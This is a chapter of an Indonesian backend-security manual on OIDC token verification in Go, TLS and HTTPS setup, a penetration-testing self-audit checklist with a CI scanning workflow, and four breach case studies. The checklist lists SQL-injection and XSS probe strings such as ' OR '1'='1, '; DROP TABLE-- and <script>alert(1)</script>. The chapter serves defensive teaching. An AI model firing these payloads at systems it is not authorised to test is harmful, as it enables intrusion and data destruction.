OIDC vs OAuth 2.0: Perbedaan Satu Baris

Protokol Menjawab Token
OAuth 2.0 "Apa yang bisa dilakukan aplikasi ini?" Access Token (buram atau JWT)
OIDC "Siapa pengguna ini?" ID Token (selalu JWT dengan sub, email, iat)
Go / Verify OIDC ID Token (google/go-oidc)import (
    "github.com/coreos/go-oidc/v3/oidc"
    "golang.org/x/oauth2"
)

var (
    provider, _ = oidc.NewProvider(ctx, "https://accounts.google.com")
    verifier     = provider.Verifier(&oidc.Config{ClientID: os.Getenv("GOOGLE_CLIENT_ID")})
    oauth2Cfg    = &oauth2.Config{
        ClientID:     os.Getenv("GOOGLE_CLIENT_ID"),
        ClientSecret: os.Getenv("GOOGLE_CLIENT_SECRET"),
        RedirectURL:  "https://yourapp.com/auth/callback",
        Scopes:       []string{oidc.ScopeOpenID, "email", "profile"},
        Endpoint:     provider.Endpoint(),
    }
)

func callbackHandler(w http.ResponseWriter, r *http.Request) {
    // 1. Verify state matches what we stored in session (CSRF protection)
    if r.URL.Query().Get("state") != getSessionState(r) {
        http.Error(w, "invalid state", 400); return
    }

    // 2. Exchange code for tokens (server-to-server)
    token, _ := oauth2Cfg.Exchange(ctx, r.URL.Query().Get("code"))
    rawIDToken := token.Extra("id_token").(string)

    // 3. Verify ID token signature + aud + exp
    idToken, err := verifier.Verify(ctx, rawIDToken)
    if err != nil { http.Error(w, "invalid token", 401); return }

    // 4. Extract claims
    var claims struct { Email string `json:"email"`; Sub string `json:"sub"` }
    idToken.Claims(&claims)

    // 5. Upsert user in DB, create session, set cookie
    userID := upsertUser(claims.Sub, claims.Email)
    setSecureSessionCookie(w, userID)
    http.Redirect(w, r, "/dashboard", http.StatusFound)
}
17

Internal HTTPS & TLS

HTTPS adalah HTTP dengan lapisan TLS (Transport Layer Security) antara koneksi TCP dan pesan HTTP Anda. Semua di dalamnya, header, body, cookie, token, terenkripsi saat transit. Penyerang yang mencegat paket hanya melihat ciphertext acak.

Kenapa TLS Penting bagi Engineer Backend

  • Tanpa HTTPS, session cookie dan token JWT dicuri siapa pun di Wi-Fi yang sama (Wireshark menangkapnya dalam teks polos).
  • Flag cookie Secure hanya bekerja lewat HTTPS, tanpanya, cookie juga dikirim lewat HTTP.
  • HTTP/2 (dan HTTP/3) butuh TLS, tanpa TLS tidak ada manfaat performa.
  • Mesin pencari menghukum situs HTTP; browser menampilkan peringatan "Not Secure".

Handshake TLS: Apa yang Sebenarnya Terjadi

Client (Browser) Server (Your Backend) (1) ClientHello: TLS version, cipher suites, random_client (2) ServerHello: chosen cipher, random_server, certificate (public key) (3) Client verifies cert Chain of trust -> root CA (4) Key Exchange (ECDHE): client sends key share encrypted with server's public key (5) Both sides independently derive the same symmetric session key (using random_client + random_server + key material, never transmitted) (6) Client Finished (MAC of entire handshake) (7) Server Finished, handshake complete (8) All subsequent HTTP traffic encrypted with symmetric session key (AES-GCM) Eavesdropper sees: random bytes. Session cookie, JWT, passwords, all invisible.
Fig B, TLS 1.3 handshake. The session key is derived, never transmitted, forward secrecy means past sessions can't be decrypted even if the server's private key is later stolen.

Konsep Kunci

Konsep Artinya Kenapa Penting
Sertifikat Public key server + identitas, ditandatangani CA Membuktikan Anda bicara ke server asli, bukan peniru
Certificate Authority (CA) Pihak ketiga tepercaya yang menandatangani sertifikat (Let's Encrypt, DigiCert) Rantai kepercayaan: browser percaya CA -> CA menjamin server
ECDHE Pertukaran key Elliptic Curve Diffie-Hellman Ephemeral Forward secrecy: tiap sesi memakai pasangan key baru
Forward Secrecy Session key tidak disimpan; tidak bisa mendekripsi lalu lintas lampau bahkan dengan private key Kompromi key masa depan tidak mengekspos sesi lama
HSTS Header HTTP Strict Transport Security Memaksa HTTPS untuk domain Anda, mencegah serangan SSL-stripping
TLS 1.3 Standar saat ini (2018). Membuang cipher lemah dari TLS 1.2 Lebih cepat (handshake 1-RTT), tanpa kerentanan yang dikenal

Checklist Praktis untuk Backend Anda

  • Pakai Let's Encrypt (gratis, perpanjangan otomatis) atau certificate manager penyedia cloud Anda.
  • Set Strict-Transport-Security: max-age=63072000; includeSubDomains; preload, memberi tahu browser untuk selalu memakai HTTPS untuk domain Anda selama 2 tahun.
  • Redirect semua lalu lintas http:// ke https:// di level load balancer / reverse proxy (nginx, Caddy, Traefik).
  • Nonaktifkan TLS 1.0 dan TLS 1.1, mereka punya kerentanan yang dikenal (POODLE, BEAST). Hanya izinkan TLS 1.2 dan TLS 1.3.
  • Uji konfigurasi TLS Anda di ssllabs.com/ssltest, incar rating A+.
Caddy / Automatic HTTPS (zero config)# Caddyfile, Caddy automatically obtains and renews Let's Encrypt certs
yourapp.com {
    reverse_proxy localhost:8080
    # TLS 1.2+ enforced, HSTS set, HTTP redirected, all automatic
}

# nginx equivalent
server {
    listen 443 ssl;
    ssl_certificate     /etc/letsencrypt/live/yourapp.com/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/yourapp.com/privkey.pem;
    ssl_protocols       TLSv1.2 TLSv1.3;   # disable 1.0 and 1.1
    ssl_ciphers         ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256;
    add_header Strict-Transport-Security "max-age=63072000" always;
}
18

Pola Pikir Penetration Testing: Berpikir Sebelum Rilis

Penetration testing (pentesting) adalah praktik menyerang sistem Anda sendiri seperti penyerang sungguhan, sebelum mereka mendapat kesempatan. Anda tidak perlu pentester profesional untuk menerapkan pola pikir ini. Tujuannya membangun kebiasaan bertanya "bagaimana aku memecah ini?" sebelum deploy.

Metodologi Penyerang (OWASP Testing Guide)

  1. Reconnaissance: Endpoint apa yang ada? Stack teknologi apa? Pesan error apa yang bocor? (nmap, Google dorking, memeriksa bundel JS)
  2. Enumeration: User ID apa yang ada? Route apa? Fuzz dengan ID berurutan, path umum (/admin, /.env, /api/v1)
  3. Exploitation: Coba payload injeksi, lewati auth, naikkan hak istimewa
  4. Post-exploitation: Apa yang bisa dieksfiltrasi, dimodifikasi, atau dihancurkan?

Checklist Audit Mandiri Cepat

Sebelum merilis fitur apa pun yang menyentuh data pengguna atau auth, jalankan ini manual atau dalam tes otomatis:

Periksa Yang Diuji Tool / Cara
SQL Injection Taruh ', '; DROP TABLE--, ' OR '1'='1 di setiap field input sqlmap, manual
BOLA Login sebagai User A, minta ID resource User B Manual + Burp Suite
BFLA Hapus cookie/role admin, coba pukul endpoint admin Manual
XSS Kirim <script>alert(1)</script> di setiap field teks Manual, OWASP ZAP
Bypass auth Hapus header auth sepenuhnya. Coba token kedaluwarsa. Coba token pengguna lain. Manual
Secret Cari codebase dan riwayat git untuk key yang di-hardcode gitleaks, trufflehog
Header keamanan Periksa header respons untuk CSP, HSTS, X-Frame-Options securityheaders.com
Rate limiting Kirim 100+ percobaan login, periksa apakah diblokir loop curl, k6

Burp Suite: Tool Standar

Burp Suite Community Edition (gratis) adalah proxy yang duduk di antara browser dan backend Anda, memungkinkan Anda mencegat, memodifikasi, dan memutar ulang setiap request. Ia tool paling banyak dipakai untuk pentesting manual.

  • Intercept: jeda request di tengah jalan dan modifikasi parameter apa pun sebelum sampai ke server Anda.
  • Repeater: putar ulang request dengan payload berbeda (hebat untuk menguji injeksi).
  • Intruder: fuzzing otomatis, coba ribuan payload terhadap satu parameter secara otomatis.
  • Scanner (khusus Pro), pemindaian kerentanan otomatis.

PortSwigger Web Security Academy: Pembelajaran Berbasis Lab Gratis

Sumber daya gratis terbaik untuk latihan keamanan langsung. Setiap kerentanan punya:

  • Penjelasan teori yang jelas
  • Lab interaktif (aplikasi web rentan sungguhan, di browser)
  • Walkthrough jika Anda macet

Mulai dengan: SQL Injection -> XSS -> IDOR (BOLA) -> Kerentanan Autentikasi -> Access Control. Tiap modul makan 1-3 jam dan mengajari Anda lebih dari sekadar membaca teori.

The mindset shift that matters most: stop thinking "will users do this?" and start thinking "what's the worst possible input I could receive here, and what happens if I do?" Write that as a test case. Run it in CI.

Pengujian Keamanan Otomatis di CI/CD

GitHub Actions / Security scan on every PRname: Security Scan
on: [pull_request]

jobs:
  scan:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with: { fetch-depth: 0 }  # full history for secret scanning

      # Scan for hardcoded secrets in entire git history
      - name: Gitleaks
        uses: gitleaks/gitleaks-action@v2

      # Static analysis for Go security issues
      - name: Gosec
        uses: securego/gosec@master
        with:
          args: ./...

      # Dependency vulnerability check
      - name: Nancy (Go deps)
        run: |
          go list -json -m all | nancy sleuth
19

Studi Kasus Insiden Nyata

Teori mendarat lebih keras saat Anda melihat harganya bagi perusahaan nyata. Ini empat pembobolan keamanan paling instruktif, masing-masing secara langsung disebabkan kerentanan yang dibahas di bab ini.

(1) Equifax (2017): SQL Injection / Dependensi Tanpa Patch

147 million people's SSNs, birth dates, addresses, and credit card numbers stolen. Equifax paid ~$700 million in settlements.

Apa yang terjadi: Penyerang mengeksploitasi kerentanan yang dikenal (CVE-2017-5638) di Apache Struts, framework web Java yang dipakai Equifax. Kerentanan itu memungkinkan penyerang mengeksekusi perintah OS arbitrer lewat header HTTP yang direkayasa. Patch sudah tersedia dua bulan sebelum pembobolan. Equifax tidak menerapkannya.

Yang terlewat:

  • Tanpa pemindaian kerentanan dependensi otomatis di CI/CD.
  • Tanpa proses untuk segera menambal CVE kritis.
  • Jaringan internal tidak disegmentasi, penyerang bergerak lateral dan mengakses 48 database tambahan setelah masuk.
  • Inspeksi SSL dinonaktifkan karena sertifikat internal kedaluwarsa, lalu lintas jahat tak terdeteksi selama 76 hari.

Pelajaran: Jaga dependensi tetap terbarui. Jalankan pemindaian CVE otomatis (dependabot, snyk, nancy) di setiap build. Terapkan patch keamanan kritis dalam 24-72 jam.

(2) Uber (2022): Secret di Kode + Social Engineering

Attacker gained access to Uber's internal systems, Slack workspace, AWS, GCP, HackerOne bug reports, and source code. No data was sold, but the access was total.

Apa yang terjadi: Penyerang berusia 18 tahun memakai MFA fatigue (membombardir kontraktor Uber dengan notifikasi push sampai mereka menerima satu) untuk akses awal. Mereka lalu menemukan skrip PowerShell di share jaringan internal yang berisi kredensial admin yang di-hardcode untuk tool Privileged Access Management (PAM) Uber. Dengan kredensial itu, mereka punya akses ke hampir semuanya.

Yang terlewat:

  • Secret di-hardcode di skrip di share internal, bukan di secrets manager.
  • Tanpa autentikasi tahan-MFA (hardware key / passkey) untuk akses istimewa.
  • MFA push fatigue tidak dimitigasi (tanpa number-matching, tanpa rate limit percobaan push).
  • Akses kontraktor terlalu istimewa, terlalu banyak gerakan lateral yang mungkin dari satu akun yang dikompromikan.

Pelajaran: Secret miliknya di secrets manager (AWS Secrets Manager, HashiCorp Vault, Doppler), jangan pernah di skrip, file config, atau pesan chat. Pakai MFA tahan-phishing (hardware key) untuk akses admin. Terapkan least-privilege di mana-mana.

(3) Facebook (2018): Otorisasi Rusak (Pencurian Access Token)

50 million user access tokens stolen due to a bug in the "View As" feature. Attackers could log in as any of those 50 million users.

Apa yang terjadi: Fitur "View As" membuat pengguna melihat profilnya seperti yang dilihat pengguna lain. Bug di fitur ini menyebabkannya salah menghasilkan komponen video uploader dengan access token hidup, milik pengguna yang dilihat, bukan yang melihat. Tiga bug yang saling menumpuk menciptakan cacat ini:

  1. Video uploader salah ditampilkan dalam mode "View As".
  2. Uploader menghasilkan access token untuk pengguna yang salah (yang dilihat, bukan yang melihat).
  3. Access token punya izin akun penuh alih-alih scope terbatas.

Pelajaran: Otorisasi sulit diuji manual di skala. Prinsip BOLA berlaku: verifikasi kepemilikan di setiap titik akses data. Pakai token berumur pendek dengan scope minimal. Bangun tes otomatis khusus untuk batas otorisasi.

(4) LastPass (2022): Kompromi Mesin Developer -> Data Produksi

Attackers stole encrypted password vaults of all LastPass customers. Ongoing brute-force attacks on weak master passwords may continue to decrypt vaults for years.

Apa yang terjadi: Penyerang pertama mengompromikan komputer rumah seorang engineer DevOps dengan mengeksploitasi paket perangkat lunak media yang rentan (Plex). Mesin itu punya akses ke environment backup cloud LastPass. Lewat satu mesin developer itu, penyerang mengeksfiltrasi:

  • Vault kata sandi pelanggan terenkripsi (mahkota permata)
  • Metadata pelanggan (email, alamat tagihan, alamat IP)
  • Konfigurasi dan secret infrastruktur cloud

Yang terlewat:

  • Mesin developer seharusnya tidak punya akses langsung ke environment backup produksi, pakai bastion host dan just-in-time access.
  • Mesin pribadi yang dipakai kerja harus didaftarkan di MDM (Mobile Device Management) dengan kebijakan keamanan yang ditegakkan.
  • Enkripsi vault memakai PBKDF2 dengan iterasi rendah, kata sandi master yang lemah bisa dipecahkan offline.
  • Tanpa deteksi anomali pada volume data tidak biasa yang dieksfiltrasi.

Pelajaran: Supply chain bagian dari permukaan serangan Anda. Laptop rumah developer bagian dari perimeter keamanan Anda. Segmentasi akses produksi. Pantau eksfiltrasi data anomali. Pakai hardware security key untuk akses produksi.

Benang Merah di Keempatnya

Equifax Assumption: "we'll patch it later" Uber Assumption: "this script is internal" Facebook Assumption: "auth checked at routing" LastPass Assumption: "dev laptop is outside perimeter"
Fig C: Every breach traces to an assumption that turned out to be wrong. Security is assumption management.
20

Referensi & Bacaan Lanjutan


Versi Sederhana

Backend Field Manual / Backend Security / Bab 17 (Diperluas)